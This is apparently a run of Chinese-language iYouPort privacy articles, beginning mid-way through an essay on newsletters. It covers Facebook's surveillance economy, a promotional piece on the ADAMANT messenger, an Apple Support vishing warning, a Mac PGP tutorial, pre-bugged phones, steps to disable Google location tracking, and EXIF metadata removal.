自从 The Dump 开始以来，我和那些可能在推特上关注过我的人交换了电子邮件，但我觉得比进行一对一的交谈更加舒服。

这种直接联系在作家和读者之间产生了一种忠诚感，这种感觉很难在网站或社交网络上实现。 de Kuijper 先生说，建立这种联系会增加人们真正读你所说的话的可能性。

最吸引人的是，我拥有了观众，我使用来自 Substack 的工具创建了 The Dump。与我退出Facebook 或 Twitter时的情况相反，即便我决定离开 Substack 的服务，我也可以保留我的粉丝—— 一个充足的电子邮件订阅者列表。

“你不必打算通过算法来接触你的观众，”为该技术新闻网站 The Verge 每日时事通讯撰写 The Interface 的记者 Casey Newton 告诉我。 “通过新闻通讯，我们可以与社交网络出现时我们失去的联络人重建直接联系。”

它不仅仅是一种创造性的努力：newsletters 可以创造一个优秀的单人业务；作家还可以按月向读者收取新闻通讯费。 Substack 削减了这笔费用; Revue 根据 newsletter 订户群的大小，使用分层定价系统向作者收费。

独立作家卢克·奥尼尔（Luke O’Neil）每月收费6.66美元，用于订阅他广受欢迎的另类新闻通讯“欢迎来到地狱世界。” 他有4,000名订阅者，其中700人支付常规报道。

使用这种私人共享方式已经影响了我公开发布内容的方式。根据 Twitter 关于我的帐户活动的摘要，从1月开始，我每周的推文比前一周的推文少了15％到30％。我也在减少使用智能手机。

要明确的是：我不打算放弃低级别的 Twitter 成瘾。我在该平台上建立了有意义的友谊，这是人们发现我的工作的一个途径。

但也许下次我想思考一些更细致入微的东西时，我不会立即去推特，那样的话只会让我迷失在其他推文的海洋中，或者让 Twitter 通过将其夹在中间的广告来赚钱。

您希望自己的时间都被用来帮助那些寡头赚钱吗？如果不，您可以改变这一状态。

The New Social Network That Isn't New at All. The newsletter is not a new phenomenon. But there is a growing interest among those who are disenchanted with social media in what the writer Craig Mod has called "the world's oldest networked publishing platform."

原文

删除真的很容易吗？删除之后呢？抵制 Facebook 运动不该忽视深层问题 - iYouPort

关于Facebook-这不只是一家公司自我保护措施-技术技巧以防身

很多人一直相信，像互联网这样的全球通信网络可以成为一种积极的社会力量。尤其是全球各地的人权活动家、公民社会组织者、记者和政治学者，互联网为他们的工作提供了前所未有的便捷，已经成为非常重要的工具。

但随之而来的是 Facebook 等大型网络公司所代表的无法控制的集中式管控，数字极权给整个世界带来了更多不平等和不公正。这些科技巨头依赖所有人的隐私数据维生，这是一种“监视经济”。剑桥分析公司丑闻只是“监视经济”这一长期而根本性的问题的典型案例之一。

越来越多的人们不想接受这些权力结构，更不希望自己的存在成为引诱其他人进入数字全景监视器的诱饵。剑桥丑闻后 #deleteFacebook 成为全球性的舆论热点，但真正能做到吗？似乎并没那么容易。

越来越多的人删除了他们的Facebook账号。但他们中很多人立即让朋友到 Instagram 上去找自己 —— Instagram 属于 Facebook 啊难道忘了吗？简直太荒谬了。许多最近放弃了 Facebook 账户的人仍处在该公司的轨道之中，不仅使用 Instagram，还使用着该公司颇受欢迎的即时通讯应用 WhatsApp 和 Messenger。

根据Keyhole的数据，自8月份以来，使用 #BoycottApple（抵制苹果）标签的4700条推文中，有近三分之一发自 iPhone……这甚至不是笑话。

“无处可去”？

Facebook 近20亿用户很可能无处可去。这是因为，除了少数例外，Facebook 一直在设法通过克隆或收购竞争对手来挤压其他对手，抢占领先地位，逐渐实现垄断人类的在线方式。这是一种习惯于不可替代性的商战策略。

自创立以来，Facebook 一直在为此做着准备。现在就是所谓的用武之地了。

路透社本月对2237名美国人的调查显示，41％的人信任 Facebook “合法保护他们的数据”；根据最近针对技术人员匿名聊天应用程序 Blind 的民意调查显示，31％的人表示他们计划删除Facebook。

技术产品之间互相复制并不罕见。硅谷充斥着几乎难以区分的创业公司，但 Facebook 自己的模仿品牌被视为与进步不相容，这是一种自然的垄断，也收窄了它的竞争空间。该公司不仅消耗了竞争对手，而且还消耗了我们所有人的习惯，使得普通人几乎无法接受 #DeleteFacebook，人们会感觉太难了、太不方便了，他们曾经把整个生活甚至人生的未来都寄托在 Facebook 上了。

人们害怕与家人、朋友甚至是从未见过面的网络“好友”断绝关系。对于老一辈人来说，他们也表示担心 Facebook 的行为，但无法想象删除自己的帐户，那将意味着切断曾重新点燃的社会关系和家庭关系。55岁以上的人群是社交网络发展最快的人群。

2009年，Facebook以1500万美元收购了现已不存在的 FriendFeed，一家社交媒体聚合商，另外还有3250万美元的股票。那时 Facebook 已经在复制 FriendFeed 的原始功能了，比如“Like”按钮和实时更新。一年之后，Facebook 又为 Friendster 拥有的所有社交网络专利支付了4000万美元，这是另一个早已逝去的、并曾被很多人心爱的社交平台。

就如Gigaom 所说，“Facebook清除任何对其核心技术背后的知识产权形成冲击的对手是非常重要的”。在2012年，Facebook 花费10亿美元收购 Instagram，两年后以190亿美元购买了广受欢迎的消息应用程序 WhatsApp，Facebook Messenger 的竞争对手。然后，在2013年花费了1.5亿美元，用于名为 Onavo 的 VPN 技术，它允许该公司在保护其数据的幌子下监视用户的行为。

Facebook收购了许多不同的公司。要么吸收它们，要么借用它们，要么买回来“收藏”。基于位置的入住初创企业、移动广告人才、群组消息技术、问答服务和社交赠送平台等，这些就是人们今天所了解和使用的 Facebook 的核心功能。这不仅令人怀疑，Facebook 究竟是想将社区融合在一起，还是使得在其他地方建立社区变得不可能？

无处可逃？

就算你从未主动选择 Facebook 或任何其他大型社交网络，但 Facebook 仍然有一个详细的配置文件可用于定位你。也许你从未同意让 Facebook 收集数据，但它还是做到了，这些数据可以用来绘制关于你的生活、习惯和社会关系的非常详细的推论。你的人生的全景图。

就算删除是容易的，但你仍然要受制于Facebook 横跨全球的监控和定位网络。至少有两类信息可供 Facebook 使用：

一、来自其他 Facebook 用户的信息。当你注册Facebook时，它鼓励你上传你的联系人列表，以便该网站可以“帮你找到朋友”。很多人信了，至少看起来它很方便，但人们可能不知道 Facebook 一直在使用这些联系人信息来扩充监视范围，即使那些被波及人并没有同意参与。

同样，很多人会将你存在于其中的某些照片上传到 Facebook，你也许没有同意过这点，但Facebook仍然可以借此来跟踪你和朋友们。

总之请记住，就算您自己不在乎自己的隐私，您的存在同样可能会向公司提供有关不同意参与其监控平台的其他人的信息。

二、来自网站上的信息。大多数你访问过的网站都有一个“点赞”按钮，实际上是鼓励你的浏览器告诉 Facebook 你的浏览习惯。即使你没有去点赞，它也需要浏览器向 Facebook 的服务器发送一个请求，以表示“赞”按钮本身。该请求包含您正在访问的页面名称、以及您的浏览器可能收集的任何 Facebook 专用 Cookie 的信息。这个被称为“第三方请求”。

这便使得 Facebook 可以创建详细的浏览历史记录 —— 即使你从未直接访问过Facebook，更不用说注册Facebook帐户。

想想你访问过的大部分网页，有多少网页没有那个“点赞”按钮呢？如果您正在管理一个网站，并且在每个网页上都包含了一个“点赞”按钮，那么您可能正在帮助 Facebook 构建访问者的个人资料，即使那些退出社交网络的访问者也不例外。

网站上的 Facebook “共享”按钮更为常见，以及其他工具，似乎看起来与“Like”按钮有点不同，但实际上它们做的是同样的事。

Facebook建立在非用户身上的个人资料不一定包括所谓的“个人身份信息”（PII），如姓名或电子邮件地址。但它们确实包含了相当独特

的另一些东西。你可以做一下测试，使用 Chromium 的 NetLog（一套为Chrome网络栈而设计的事件日志机制，帮助调试问题和分析性能），去访问你感兴趣的各种网站吧，除了 Facebook。你会看到自己发送给 Facebook 的无 PII 数据都是些什么，其中可能会包括你正在阅读哪些文章、你的饮食偏好、兴趣爱好、政治立场等诸多信息。

鉴于这种映射和定位的精确性，“PII” 已经不是透露身份所必需的。如果 Facebook 将这些信息与上面提到的电子邮件中的“网络错误”结合起来，毫无疑问他们会。如果 Facebook 没有将这些点连接到他们声称的数据收集目标，所有人都会震惊。

如今这个时代能避免社交媒体而完成工作和满足全部生活需求的人越来越少了，这种完全的避免已经成为一种特权，很多人没有这种特权，不得不接受 Facebook的条款。正如文章开头所说，许多记者、组织者、学校、政界人士以及其他人他们有理由反对 Facebook 类集中式社交控制，但他们都会被 Facebook 的影响力和规模所迫使而加入那些实验性活动，甚至是那些早已被判断为有害的活动。

这种特权的存在是荒唐的。隐私不应该是一种奢侈品，如今我们需要在整个社会背景下评估隐私问题。delete 是个人选择，但根本性问题已经不是可以在个人层面上得到解决的了，源于这些数据的人际关系本质以及所涉及的权衡的复杂性。

「图」

「图」

技术措施

不要期待当权者为你做什么，当权者正从这些窥视狂互联网巨头的数据收集中获益呢，他们只是在假装担心隐私问题。更不要指望这些数字巨头为你做什么，他们打着改革整顿的旗号，正是为了安抚人们让你继续接受被收集。必须知道，没人愿意付费使用这些应用的结果就是，它们必然会通过出售我们的数据以维生。

幸运的是我们可以自己完整自我保护，采取一些技术措施来限制这些监视实践的范围。例如，某些网络浏览器默认不会发送“第三方 Cookie”，或者它们对 cookie 进行范围限制，以便集中监控不会获得单个用户的单一视图。隐私保护效果最好的现代浏览器是 TorBrowser，每个人都应该安装并使用该浏览器，即使不是随时随地的选择。我们正在准备推出一系列相关文章，进一步说明这点。尤其

是异议人士、活动家、科研人士和记者，这些高危人群需要特别注意这点。

您还可以通过修改某些浏览器——例如使用Firefox和Chrome的插件——以便它们不发送第三方请求。 Firefox 还在探索更多隐私保护技术。

但是不能否认，这些工具比大多数人习以为常的网络浏览器显得“更难使用”，并且这些工具会对一些在线活动造成障碍（例如，如果没有第三方cookie，登录某些网站和访问某些Web应用程序是不可能的）。

一些网站运营商通过减少第三方请求的数量，比其他网站更加重视访问者的隐私。例如可以显示“在 Facebook 上分享”或 “likes” 按钮，而无需首先向 Facebook 发送用户请求。美国自由公民联盟 ACLU 的网站是这样做的，因为 ACLU 知道，自由阅读的隐私权是公民语话的根本保护。

应该修复的是整个监控经济，而不仅仅是**Facebook**

Facebook只是整个在线“监控经济”的罪魁祸首，尽管它是一个巨大的公司 – 该公司拥有Instagram，Atlas，WhatsApp和其他数十家互联网和科技公司和服务。但它并不是这个领域唯一的成员。

Google 等巨头的商业模式也依赖于这种监视，而且还有数十个小型公司都在其中。这些公司的收集就等于政府收集。斯诺登的文件中最著名的几个之一就是：国安局与世界上最大的互联网公司——Facebook,Yahoo,Apple,Google 等签订的秘密协议，国安局可以从9大互联网公司的服务器上直接收集数据。其中与之合作最密切的是微软，国安局直接可以进入其通讯平台Skype和Outlook。微软帮助国安局规避新版 Outlook 的加密设置以达到其监视的目的。

换句话说就是，如果没有这些互联网巨头的大规模收集和亲政府配合，情报部门和政府的收集就会大打折扣，我们很可能改变不了后者，但我们有可能改变前者。

在解决 Facebook 和剑桥分析公司丑闻带来的后果时，不能忽视这背后更大的机制。剑桥分析公司的失败和错误是 Facebook 商业模式所固有的，真正解决问题的办法是认真挑战鼓励人们选择接受这种监视的社会结构。同时还需要保护那些设法退出的人。

原文

匿名、安全、开源，为什么你应该试试 ADAMANT Messenger？ - iYouPort

自我保护措施-技术技巧以防身

ADAMANT Messenger 是一款基于区块链的通讯软件，并且拥有综合性支付系统。 ADAMANT 对所有消息使用端到端加密方式，并且将加密密钥存储在区块链中。这里是关于它的一些介绍，以及为什么它有可能变成未来的趋势。

「图」

「图」

侵犯隐私权正在成为世界各地日益严重的问题。 Snowden 暴露了大公司销售客户个人数据的大规模丑闻。公司通常会让客户在印刷精美的条款和协议上签名，使得软件开发者有权利用高度个人化的信息。人们需要一个使用区块链加密，保证安全且匿名的通讯软件，它不收集任何的个人数据。

联合创始人 Dmitriy Soloduhin 说，这就是世界需要 ADAMANT Messenger 的原因。

他们是开源项目的拥护者和支持者。

目前用户越来越意识到公司能够在不同的应用程序中窥探他们，就比如通讯软件。今天人们使用的通讯应用程序和服务都是集中式的，这通常只对企业有利，而不是用户。

公司和广告商经常一起合作，从而做到更有效地宣传，因此任何关于您是谁、您在哪里、喜欢什么等这样的信息对他们来说都很有用。

另一个问题是监管。任何集中式服务最终都可能被关闭或禁止。例如，黑莓的所有服务都在俄罗斯被禁止，包括 BlackBerry Messenger。最近，俄罗斯政府决定在俄罗斯完全封锁Telegram。每年，越来越多的政府要求对通讯公司实行全面的控制，如果他们的要

求无法得到满足，他们就会禁止这些服务。

因此，唯一可行的长期解决方案就是使用一个分散化、完全透明且开放的系统。但是，如今的现代消息服务存在一个问题。他们可以共享并故意将信息提供给其他第三方。此外，所有的通讯服务都需要访问设备的地址簿，将所有这些信息传递到他们自己的服务器。最后，消息传递服务将收集个人的重要数据，例如个人电话号码、电子邮件地址、浏览器活动等。

ADAMANT 项目旨在回应这些私人数据传输安全的严重信任问题。使用区块链技术，用户已经进行匿名。与集中式消息传输相比，将消息历史与特定的人联系起来是不可能的。

用户不再需要输入他们的手机号码、电子邮件或社交账户。这是比 **signal** 更为可靠的方法。电话号码真的是个极大的麻烦，不管你信不信。

Dmitriy 介绍说，ADAMANT 提供纯粹的消息传递服务，能够以易于使用的方式进行即时且安全的通信。 匿名、安全、开源。

每个人都应该能够 100% 保护自己的隐私。该项目主要关注隐私、安全、信任和可靠性。 例如，如果您不信任公共 ADAMANT 网络，我们可以让用户轻松地托管自己的区块链。

在未来五年内，世界将会从自由且集中的应用程序转向分散式的应用程序，但是它也不再免费。人们会意识到他们的时间、隐私和数据都需要花钱，然而他们也不会轻易放弃。在目前的情况下，ADAMANT 是唯一可用的完全分散化通讯应用，但 Dmitriy 相信，人们的需求将导致更多这类通讯应用的兴起。

区块链有助于防止重写历史，并有能力将每个过程的范例转变为开放且有效的流程。 它将引发许多积极的反应，从更公平的选举到更少的小偷。

「图」

「图」

ADAMANT 已经有了一个 Web 版本，该 Messenger 也可以在 iOS 上使用，并且已经在 Apple 的 TestFlight 中成功地进行了测试。此外，ADAMANT 计划制作 Android 版（现在处于生产阶段）。

ADAMANT 平台具有 ADM 代币格式的独立支付单元。 ADM 的主要目的是通过消息收发，数据传输，处理操作和附加系统功能提供信使生态系统。

值得注意的是，ADAMANT 平台建立在独立区块链上，因此该项目的标志不受第三方服务影响。另外，ADM Token 具有较高的事务处理速度（5秒阻塞时间）和便利性（通过聊天窗口内的直接传输）。

ADAMANT Messenger ICO 现在接受 **LSK** 令牌。根据开发团队的说法，钱包很快就会允许在聊天功能中传输 LSK 令牌。

「图」

「图」

目前的主要目标是在 ADAMANT 中构建多令牌传输系统。这个想法包括结合主要的加密货币：比特币，以太币，Lisk，在私人聊天中转移。

以下是 **ADAMANT Messenger** 的一些重要功能：

- 无法访问用户的地址薄；
- 所有聊天记录都存储在区块链中；
- 无法访问用户的位置信息；
- 没有用户标识—完全匿名使用；
- 邮件在发件人的设备上加密，然后在收件人端解密；
- 客户端应用程序永远不会通过网络传输用户的私钥或密码短语。所有工作都在用户设备上进行; 因此，不会传输任何私人数据。
- 消息历史记录永远不会存储在计算机上，而是直接从区块链加载；
- 与 P2P-Messengers 不同，不可能获得用户的 IP 地址；
- ADAMANT 代码和区块链是开源的。

ADAMANT 帐户无法被任何人（包括开发人员）关闭，阻止或限制。○

原文

千万不要相信任何“热情的客服” - iYouPort

自我保护措施-技术技巧以防身

一个新的语音网络钓鱼骗局正在以一种聪明的新方式追踪 iPhone 用户：通过拨打电话，伪造来电显示让它看起来似乎直接来自 Apple Support。

一位用户叫 Jody Westby 她接到了 Apple Support 的电话，要求她回电话。与号码一起出现的联系信息似乎是 Apple Inc.。然而，当她拨打866号码时，显然有些不对劲。

「图」

「图」

请注意，苹果公司自己的设备完全无法区分苹果公司电话和试图欺骗苹果公司的人之间的区别。用户需要自己小心才行。

漏洞利用是独一无二的，因为它允许呼叫者伪装成任何人，关于如何做，请详见我们即将发布的 社交工程 攻击演示《伪装的技巧》。请记住：如果有人打电话给你声称你的电脑坏了，需要维修，他们很可能是在撒谎。毕竟，当涉及到您的计算机问题时，支持人员永远不会主动，只有被动。

原文

反侦察工具：PGP 简易教程（Mac 版） - iYouPort

自我保护措施-技术技巧以防身

这里是 Mac 版教程。

首先从 GPGTools 网站下载 GPG Suite for OS X，下载完毕，双击dmg文件，运行安装操作。安装过程中按照默认的配置即可，在选择安装类型（Installation Type）的时候，选择自定义安装（Customize），请把 GPGMail 前面的勾选去掉。

「图」

「图」

「图」

「图」

「图」

「图」

第二步是创建PGP密钥。安装完成之后，会弹出一个窗口，显示“GPG Keychain Access would like to access your contacts.”，点击“OK”。

「图」

「图」

接下来会弹出另一个窗口，要你输入名字和邮箱地址，勾选“Upload public key after generation.”。

「图」

「图」

点击高级选项（Advanced options），增加密钥长度为4096字节，修改有效期为一年。点击“生成密钥（Generate key）”，接着会跳出一个“输入密语（Enter passphrase）”的窗口。

「图」

「图」

PGP的加密是依靠这个密语的，选择密语的时候要选别人猜测不到的，也不要透露给任何人；密语越长密钥就越安全；最后注意不要忘记密语。

在输入密语的时候，可以选择“Show typing”来查看输入的密语是否正确，确保没有拼写错误之后，点击“OK”。

「图」

「图」

「图」

「图」

「图」

「图」

第三步是设置PGP快捷键：进入“系统设置”–」“键盘”–」“快捷方式”，鼠标点击左边的“服务”选项，在右侧中找到一系列以“OpenPGP开头”的操作，去掉前面的勾选。

「图」

「图」

「图」

「图」

接着为以下四个操作设置快捷键，打勾启用：

把OpenPGP: Decrypt设置为：control＋option＋command＋minus（-）

把OpenPGP: Encrypt设置为：control＋option＋command＋equals（＝）

把OpenPGP: Sign设置为：control＋option＋command＋open bracket（[）

把OpenPGP: Verify设置为：control＋option＋command＋close bracket（]）

「图」

「图」

第四步，发送加密邮件：选择邮件内容，按“control＋option＋command＋open bracket”进行签名。

「图」

「图」

「图」

「图」

打开GPG Keychain Access应用，按“Command＋F”输入接收者的邮箱地址，软件会去公共密钥服务器上去搜索邮件接收者的公钥，如果对方有多个密钥，选择最新的一个。

「图」

「图」

「图」

「图」

看到确认信息，告诉你对方的公钥已经下载完成。点击“Close”关闭。

「图」

「图」

「图」

「图」

退出GPG Keychain Access回到邮件撰写页面，全选邮件内容。按“control＋option＋command＋equals”进行加密，系统会弹出一个窗口，咨询接收者是谁，选择接收者的公钥，点击“OK”。此时加密完成，可以安全发送。

「图」

「图」

第五如何解密邮件：复制邮件所有内容到文本编辑器，包括“——BEGIN PGP MESSAGE—”和“——END PGP MESSAGE—”。

「图」

「图」

「图」

「图」

选中所有内容，按“control＋option＋command＋minus”进行解密，输入你设置的密语，按“OK”就可以看到解密的邮件内容。

「图」

「图」

还可以验证签名，全选内容，按“control＋option＋command＋close bracket”，跳出一个对话框，提示你签名的验证结果。

「图」

「图」

完成。〇

原文

反侦查注意事项补充：设备本身的问题 - iYouPort

反侦查-在现实中反监视自我保护措施-技术技巧以防身

当权者总能琢磨出让你想不到的歪点子

「图」

「图」

我们觉得有必要介绍这条消息，是因为它提示了一个我们曾经在反侦查技巧推介中疏漏了的细节，即设备本身。

大家都知道邪恶女仆攻击：就是针对已经关闭的、无人看管的电子设备的攻击。其特点是在设备持有者不知情的情况下，攻击者多次亲手接触目标设备。

于是我们提醒大家，不要在参加聚会的时候随便把手机放在衣兜里然后挂在衣架上：也不要把设备留在酒店房间里，哪怕只是离开五分钟（这种攻击在高手那里三分钟就够用）。但我们忘了一个特殊的状况，那就是购买。

早前有一位朋友因言论罪被关押看守所，他的所有设备被没收，等他出来后我们建议他换掉所有设备，至少不要再使用那些设备谈论敏感话题和联系重要朋友，但我们忘记了基于购买本身的问题。也正是这则近期才被披露的消息中所提示的。

一名叫 John Krokos 的人买了一部黑莓手机，但他不知道的是，这部手机并不是新品，而是来自秘密缉毒局的特工。因为此人被缉毒局怀疑为可卡因走私贩了，这个手机是为了钓鱼取证的。

缉毒局持有加密密钥，意味着他们可以阅读所有传入和传出手机的电子邮件和消息，而且是持续的，直到当事人主动扔掉这台手机。

人权观察组织的一份新报告详细介绍了这一启示，同时还提到，被曝

光的 2015 年的电子邮件显示，缉毒局表示很有兴趣使用意大利监视技术公司 Hacking Team 的智能手机恶意软件，以监视多个嫌疑人的位置数据。

延伸阅读：如果您还不了解意大利公司 ***Hacking Team***，可以见这篇文章《"//危险：监控技术公司正在推动对零日漏洞的利用//"》

这些案例共同说明了政府可能会将带有间谍软件的设备提供给被他们认为是嫌疑人的人。也就是说，你以为自己在买新手机和电脑，其实卖家的背后是情报部门。这种做法甚至不知道是不是合法，但可以肯定的是，很可能使非目标人受到当局的监听。因为目标人买了也不一定是自己一个人用。

人权观察组织的研究员 Sarah St. Vincent. 认为这就是一种侵权行为："当人们知道当局正在有效地分发窃听设备，将造成严重的寒蝉效应"。

黑莓否认知情；缉毒局拒绝评论。现在那位被钓鱼的 Krokos 被判处 **138** 个月徒刑。

这种钓鱼方法可怕在于无法防止滥用。人们会买二手设备、开过箱的水货，设备有可能互相借用，有可能丢失被盗，如果在网上购买过程中被监视交易，可能在物流中被调包……等等，都会波及无辜的人。

Krokos 案似乎不太可能是孤立事件，特别是考虑到缉毒局与 Hacking Team 监视技术公司签订了七位数的合同，这是 2015 年 Motherboard 首次报道的。虽然 Krokos 案不涉及该监视技术公司提供的间谍软件类型，而是使用了同一目的的另一种手段，入侵电话，然后确保它落在嫌疑人的手里。

在 **2015** 年，由 **Wikileaks** 泄露并由人权观察组织发布的内部电子邮件中显示，该监视技术公司运营经理声称缉毒局已经感染了"大量手机"，并有兴趣在多达 **1,000** 台设备中的安装间谍软件，虽然目前还不清楚是否曾发生过如此大规模的购买。

更要命的是，法律中没有明确禁止这种做法，当然也没有明确肯定。

此事再次提醒了我们曾经强调过的一个思路：即应该分析对手的技术能力，以及根据具体情况推测对方最有可能采取哪些攻势。

与此同时，如果您有任何理由认为自己可能成为被监控的目标，请从您最信任的来源购买手机，并及时最新软件、至少遵循基本的智能手

机安全知识。

— — 最基本的安全措施 — —

」 权限很重要！比如 Flash Keyboard，是一款流行的 Android 应用程序，它获得了比运营所需更多的权限，并且去年被爆出跟踪其用户，提供潜在的恶意广告以及将"数据传输到中国"！

这里检查您的权限设置，这里有两个很复杂的表格，请点开大图查看。

」 不要使用第三方应用商店。至少官方应用商店如果被侵入，很快会有新闻曝光它。

」 定期下载软件更新，及时更新操作系统，尤其是安卓，根据您使用的不同设备，有可能无法及时获得更新通知；

」 强密码！不要设置刷脸解锁！

— — 高度安全措施 — —

」 切断联网：最保险的方法是不要让自己的电脑连接到其他任何设备上。如果您有高度敏感的文件和资料需要储存，那就选一台单独的设备让它脱机工作。虽然任何电脑手机都能选择关闭**Wi-Fi** 和蓝牙，但最安全的方法是拆除所有无线硬件。最好的是选择根本没有这些硬件的设备，比如 Intel Nuc，Gigabyte Brix 和较旧的 Mac Mini 台式机。

」 将操作系统 **Tails** 装在 USB 里，插入启动，这可以确保在使用后计算机上不会留下任何痕迹。

」 拉窗帘、放音乐：如果你希望防止被窃听，应该知道有一种称为激光麦克风的工具，它可以将不可见的红外激光从窗口反射回到光传感器。通过测量反射光中的干扰，激光麦克风可以检测窗玻璃中的振动，并重建玻璃另一侧的声音。于是当您在进行重要私人谈话的时候，最好拉上厚重的窗帘、并播放嘈杂的音乐。（为了对付这种激光麦克风，曾经有人专门做了一种震动装置，放在玻璃上，以干扰窃听装置的信号。这东西还放在亚马逊卖过，后来被亚马逊下架了。贝索斯那家伙是权力的奴才）

延伸阅读：，"//安全手册，几乎所有安全上网工具都在这里（不包含硬件）//"》；《"//如何将危险隔离在外//"》

原文

可以采取哪些措施来阻止 Google 和其他人跟踪您的手机？ - iYouPort

关于谷歌-监视资本主义的创始人自我保护措施-技术技巧以防身

"日前有报道"，即使你在 **Google** 帐户中关闭了“位置历史记录”设置，该公司仍然可以记录你的位置，利用一个名为**“Web＆App Activity”**的设置。

简单说就是，谷歌的帮助页面所陈述的不是事实，即使用户关闭了位置记录功能，部分 Google 应用仍然会在没有询问用户的情况下记录包含时间戳在内的位置数据。

存储您的每分钟地理位置都会带来隐私风险，并且警方已经使用这些数据以追踪嫌疑人了—— 例如北卡罗来纳州罗利警方"去年就使用了谷歌位置数据"寻找案发现场附近的设备。

这一严重隐私问题影响了大约 20 亿运行谷歌 Android 操作的用户，以及全球数亿依赖谷歌进行地图搜索的 iPhone 用户。

怎么办？

第**1**步：从 **Google** 设置开始

首先要登录您的帐户。在桌面上执行此操作可能最简单。在浏览器中，转到 myactivity.google.com，然后点击活动控件，如果您使用的是 Chrome 会在左侧显示。在顶部看到 Web＆App Activity 的框。把它关掉（谷歌会用提示语言误导你，别理它）。如果您使用的是 Safari 可以在右上角的三个点下找到“活动”控件。

进入“网络与应用活动”页面时，在左侧查找“删除活动”，以管理 Google 操作记录的选项。

接下来，在 Web & App Activity下面的框中，您将看到另一个名为 Location History 的字段。关闭它。在同一区域，您应该会看到“管理活动”的链接。点击此处可以转到 Google 称之为时间轴的内容; 它有

一个地图视图和有关你去过的地方的所有信息。右下角的齿轮图标为您提供了更多选项，包括如何删除整个位置历史记录。

第2步：适用于 **Android**

如果您是 Android 智能手机用户，则可以在手机上执行其他步骤。

在“设置”下，导航到“安全和位置”。向下滚动到“隐私”部分，然后转到“位置”，然后单击它。在最底部，点击 Google 位置记录。如果您在上一步中已将其从浏览器中关闭，那么它也应该在此处关闭。检查完毕后，按左上方的后退箭头返回手机的主“位置”页面。

在“位置”页面的顶部，有一个切换以关闭所有位置服务。如果您愿意，可以将其关闭，或者通过点击“应用级权限”来专门管理哪些应用可以使用您的位置，通过该屏幕可以关闭 Google 地图所具有的位置访问权限。

这样做之后，请通过启动 Map 应用程序以进行测试，并尝试让它检测您的位置。您会收到一条提示，要求“允许地图访问此设备的位置？”

您还可以在相同的应用级权限页面上关闭相机的位置权限，这意味着您拍摄照片时手机不应该知道您的位置，因此不会将其包含在图像的元数据中。通过分析照片上的地理标记，可以访问您的照片的应用就能大致了解您的位置数据。

第3步：对于 **iPhone**

管理 iPhone 对您所在位置的了解与此类似：请转到“设置”，“隐私”，然后选择“位置服务”。从那里您可以完全关闭它，或管理允许哪些应用程序利用位置数据。

对于大多数应用程序，您会看到三个选项：“从不”，“使用应用程序时”、或“始终”。如有疑问，“使用应用程序时”比“始终”更安全，当然，“永远不要“是最可靠的。

如果您特别关注 Google 产品，请在此列表中查找 Google 制作的应用：你可能会安装 Google 日历、Home、地图和新闻，根据需要管理它们。您还可以通过“Safari 网站”项目在手机的默认浏览器中控制位置数据。

最后，在最底部，有一个“系统服务”选项。您可以在那里找到大量其

他电话服务，您可以决定是否要它们知道您的位置，包括“重要位置”。点击此按钮可以看到您的手机已经了解到您去过的哪些地方，尽管有这么一句话“重要位置已加密且 Apple 无法读取”，不用理它。

作为一般规则，当您停用位置服务时，您的手机将失去一些功能：比如如果您希望 Google 地图应用知道当您按下右下方的小指南针图标时您所处的位置，则至少需要启用您正在使用该应用时的位置服务。

还有什么要记住的？

耶鲁大学隐私实验室成员 Sean O’Brien 说：“谷歌对 **Android** 生态系统的掌控程度过高，而且苹果公司对 **iOS** 生态系统的控制力也非常强 **……**他们决定用户可以在用户界面中看到什么，和看不到什么。”

换句话说，在谷歌的这种情况下，仅仅关闭位置历史而没有动 Web & App Activity on 的用户可能会惊讶于他们的位置仍然可以通过第二类进行跟踪。“该软件的分销商（在这种情况下是谷歌）与最终用户之间的信任链已经破裂，”O’Brien 说。

进一步关注隐私和安全，您可以考虑删除不使用的应用程序，使用 Signal 等加密通信服务，或通过阅读 Electronic Frontier Foundation 推荐的内容来对抗监控。

O’Brien 建议在 Android 手机上安装 "F-Droid"，并使用它而不是 **Google Play** 商店来获取应用程序。这是因为 F-Droid 是“由志愿者审核的，谷歌已被证明是 Play 商店的不良管家。”

最后，考虑在 Facebook 等关键社交网络上审核您的隐私设置：特别注意您已整合到帐户中的应用和网站，并根据需要删除它们。要通过浏览器执行此操作，请转到您的 Facebook 帐户，找到右侧的倒三角形并单击它，然后选择设置，再选择左侧的应用和网站。

我们认为最理想建议是：

- 离开谷歌。方法参见《所有最好的谷歌服务的替代品》《喜欢安卓不要谷歌，怎么做》
- 选择全面的安全。参见《安全手册：这里是你需要的几乎所有安全上网工具》
- 权限非常重要，请立刻检查《这里是保护您安全的重要知识》

附：—— 如何删除照片上的元数据，以及如何通过元数据跟踪目标用户和验证信息真伪 ——

一张照片中会携带了大量的信息，也就是我们通常说的 EXIF 信息（可交换图像文件数据）。这些数据中包含了相机型号、快门速度等诸多摄像参数，有的还记录了照片拍摄日期。不止这些，很多新一代相机—— 尤其是 **iPhone** 和 **Android** 手机所配的摄像头—— 还会殷勤地存储下照片拍摄地点的 **GPS** 信息，这就意味着，凭着这张照片，任何人都可以轻而易举地获得你的住址和宅电。

如果你未经处理就将这些照片发布到了网络上，是很麻烦的事。怎么消除这些数据？

」 苹果用户需要下载特定的软件才行，最简单的一款叫做 SmallImage（ 下载地址在这里 ）。使用时只需把想要处理的图片拖到空白窗口中，然后点击“process”键就可以啦。不过注意，要想保持图像质量不变的话，就不要点选“Recompress at quality”。如果想用处理后的图像覆盖原图的话，取消点选“Add Suffix”。

」 Linux 用户需要下载一叫做 EXIFTool 的软件，这份软件也同样适用于 Windows 和 Mac 操作系统，但使用起来比上述方法要复杂些。在 Linux 环境下，你可以输入下面这个语句来把这个软件安装到 Ubuntu 上：

sudo apt-get install libimage-exiftool-perl

要清除 exif 信息，只需把工作目录改变为目标图像的文件夹，然后输入语句：

exiftool -all= *.jpg

这一指令也会把所有参与处理的图像复制一份，并在原图的名称上加上后缀 _original 用以区别。

如果你是一位记者，关于如何使用用户上传的未经处理的照片验证消息的真伪，请见这篇文章《"虚假信息鉴别工具箱"》。如果你发现用户上传的照片被事先抹去了元数据，请谨慎采取做作为新闻线索。后面的文章我们将介绍如何通过没有元数据的照片做开源调查验证。

原文

喜欢 Android 但讨厌 Google 的隐私侵犯，可以怎么办？ - iYouPort

关于谷歌-监视资本主义的创始人自我保护措施-技术技巧以防身

如果您对使用 Android 感兴趣但又不想使用它的所有 Googly-ness，可以怎么办？其实有很多方法可以做到。使用正确的工具集，您可以获得真正开放的 Android 体验 ✌

